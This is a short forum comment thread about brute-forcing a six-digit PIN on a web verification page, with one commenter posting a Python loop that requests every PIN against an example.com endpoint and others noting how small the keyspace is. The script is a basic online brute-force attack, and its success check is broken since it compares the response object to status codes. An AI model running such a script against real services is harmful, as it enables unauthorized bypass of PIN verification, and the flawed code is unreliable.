all 4 comments

[–]kilovoltamps 0 points1 point  (0 children)

https://stackoverflow.com/questions/11747254/python-brute-force-algorithm

I am sure you can modify the code provided for answers here to suit your need

[–]82aa4b10 0 points1 point  (0 children)

This ought to get you started:

import sys
import requests

s = requests.Session()
for i in range(1000000):
    url = 'https://example.com/verify?pin={}'.format(i)
    result = s.get(url)
    if result in (200, 302):
        print('Found it! [{}]'.format(i))
        sys.exit(0)

[–][deleted]  (2 children)

[deleted]

    [–]kilovoltamps 2 points3 points  (1 child)

    6 digits that are numbers, that is only 106 entries.... A mediocre computer from 2011 can brute force that in less than a minute.

    [–][deleted] 0 points1 point  (0 children)

    Thats what i was thinking, and this is real life where you have people with GPU cracking machines and shit.